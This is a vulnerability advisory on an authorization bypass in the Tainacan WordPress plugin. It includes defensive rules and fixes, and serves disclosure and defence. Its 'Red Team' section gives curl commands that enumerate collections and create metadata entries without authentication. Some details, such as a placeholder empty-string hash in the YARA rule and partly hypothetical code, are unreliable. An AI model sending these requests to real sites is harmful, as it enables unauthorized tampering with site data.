CVE-2025-14043

Executive Summary

CVE-2025-14043 is a critical authorization bypass vulnerability in the Tainacan WordPress plugin, affecting all versions up to and including 1.0.1. The flaw resides in the create_item_permissions_check() function, which unconditionally returns true, completely bypassing authentication and authorization checks. This allows any unauthenticated attacker with network access to the WordPress site to create arbitrary metadata sections for any collection via the public REST API. The vulnerability has a CVSS score of 5.3 (Medium), but its impact is amplified by the lack of authentication required and the potential for data integrity compromise. No public exploit code or patch is currently available, making this a high-priority issue for WordPress site administrators using the Tainacan plugin.

WordPress Ecosystem Context

This vulnerability is specific to the Tainacan WordPress plugin. It is not related to Apache, Nginx, or any other web server software. The attack vector is the WordPress REST API, which is a core component of the WordPress ecosystem.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The attacker does not need to trick a user.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): Low – The attacker can modify metadata sections, but not arbitrary data.
• Availability (A): None – No denial of service impact.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no authentication, low complexity) and the potential for data integrity manipulation in a content management system elevate the real-world risk.

Deep Dive & Mechanics

The vulnerability is a classic Missing Authorization (CWE-862) flaw. In the Tainacan plugin, the REST API endpoint for creating metadata sections is protected by a permissions check function: create_item_permissions_check(). This function is intended to verify that the current user has the necessary capabilities (e.g., edit_posts, manage_options) to create metadata sections for a given collection.

However, due to a coding error, the function unconditionally returns true:

function create_item_permissions_check( $request ) {
    // Missing authorization logic
    return true;
}

This means that any HTTP request to the REST API endpoint (e.g., POST /wp-json/tainacan/v1/collection/{id}/metadata) will be accepted, regardless of whether the requester is authenticated or authorized. The attacker only needs to know the collection ID and have network access to the WordPress site.

The attack flow:

1. Identify a WordPress site running Tainacan plugin version <= 1.0.1.
2. Enumerate collection IDs (e.g., via the public REST API endpoint GET /wp-json/tainacan/v1/collection).
3. Send a POST request to create a new metadata section for a specific collection, with arbitrary payload data.
4. The metadata section is created without any authentication.

Vulnerable vs. Patched Code

Vulnerable Code (Tainacan <= 1.0.1):

// In a REST API controller class
public function create_item_permissions_check( $request ) {
    // BUG: No authorization check
    return true;
}

Patched Code (Hypothetical fix):

public function create_item_permissions_check( $request ) {
    // Check if user is logged in and has required capabilities
    if ( ! is_user_logged_in() ) {
        return new WP_Error( 'rest_not_logged_in', __( 'You must be logged in to create metadata sections.' ), array( 'status' => 401 ) );
    }
    
    $collection_id = $request->get_param( 'collection_id' );
    $collection = get_post( $collection_id );
    
    if ( ! $collection || ! current_user_can( 'edit_tainacan_collection', $collection_id ) ) {
        return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to create metadata sections for this collection.' ), array( 'status' => 403 ) );
    }
    
    return true;
}

The patched version first verifies that the user is authenticated, then checks if the user has the specific capability (edit_tainacan_collection) for the target collection. This ensures only authorized users can create metadata sections.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Tainacan plugin version <= 1.0.1 installed and active.
• Network access to the WordPress REST API.
• Knowledge of a valid collection ID (can be enumerated).

Exploitation Steps:

1. Enumerate Collections:

   curl -s http://target-site.com/wp-json/tainacan/v1/collection | jq '.'
   

   Note the id of a collection (e.g., 123).

2. Create Unauthorized Metadata Section:

   curl -X POST http://target-site.com/wp-json/tainacan/v1/collection/123/metadata \
     -H "Content-Type: application/json" \
     -d '{
       "name": "Malicious Metadata",
       "description": "Created without authentication",
       "metadata_type": "text",
       "status": "publish"
     }'
   

3. Verify Creation:

   curl -s http://target-site.com/wp-json/tainacan/v1/collection/123/metadata | jq '.'
   

Expected Result: The metadata section is created without any authentication, demonstrating the vulnerability.

Blue Team (Defensive)

Detection & Response:

1. Monitor REST API Logs: Look for POST requests to /wp-json/tainacan/v1/collection/*/metadata from unauthenticated sources.
2. Check for Unexpected Metadata Sections: Regularly audit metadata sections in Tainacan collections for unauthorized entries.
3. Implement Web Application Firewall (WAF) Rules: Block POST requests to the vulnerable endpoint from unauthenticated IPs.
4. Temporary Workaround: Disable the Tainacan plugin until a patch is available, or restrict access to the REST API using .htaccess or server-level rules.

Example Apache .htaccess rule to block unauthenticated access:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} POST
RewriteCond %{REQUEST_URI} ^/wp-json/tainacan/v1/collection/.*/metadata [NC]
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in [NC]
RewriteRule .* - [F,L]
</IfModule>

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-json/tainacan/v1/collection/*/metadata without a valid WordPress authentication cookie.
  • Unusual metadata section names or descriptions in Tainacan collections.
• File IOCs:
  • Unexpected entries in the WordPress database wp_postmeta table related to Tainacan metadata sections.
• Log IOCs:
  • HTTP 200 responses to unauthenticated POST requests to the vulnerable endpoint.
  • Repeated attempts to enumerate collection IDs via GET /wp-json/tainacan/v1/collection.

Detection Engineering

YARA Rule

rule CVE_2025_14043_Tainacan_Auth_Bypass {
    meta:
        description = "Detects vulnerable Tainacan plugin code with missing authorization"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14043"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $func_decl = "function create_item_permissions_check"
        $return_true = "return true;"
        $tainacan_rest = "tainacan/v1"
    condition:
        $func_decl and $return_true and $tainacan_rest
}

Sigma Rule

title: CVE-2025-14043 - Tainacan Unauthenticated Metadata Section Creation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated POST requests to Tainacan REST API metadata endpoint
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-pattern: '/wp-json/tainacan/v1/collection/*/metadata'
        sc-status: 200
    filter:
        cs-cookie: 'wordpress_logged_in*'
    condition: selection and not filter
falsepositives:
    - Legitimate authenticated users creating metadata sections
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14043 - Tainacan Unauthenticated Metadata Section Creation"; flow:to_server; content:"POST"; http_method; content:"/wp-json/tainacan/v1/collection/"; http_uri; content:"/metadata"; http_uri; pcre:"/^\/wp-json\/tainacan\/v1\/collection\/\d+\/metadata$/U"; reference:cve,2025-14043; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Tainacan plugin until an official patch is released.
2. Implement a WAF rule to block unauthenticated POST requests to /wp-json/tainacan/v1/collection/*/metadata.
3. Audit existing metadata sections for any unauthorized entries and remove them.

Long-term Fix:

• Apply the official patch from the Tainacan vendor once available.
• Update the plugin to a patched version (currently none available, monitor the WordPress plugin repository).
• Implement the principle of least privilege for all REST API endpoints.

Workaround Code (if plugin cannot be disabled): Add the following code to the theme's functions.php file to enforce authentication:

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    if ( strpos( $request->get_route(), 'tainacan/v1/collection' ) !== false && $request->get_method() === 'POST' ) {
        if ( ! is_user_logged_in() ) {
            return new WP_Error( 'rest_not_logged_in', 'Authentication required', array( 'status' => 401 ) );
        }
    }
    return $result;
}, 10, 3 );

Valters IT
Securing Digital Frontiers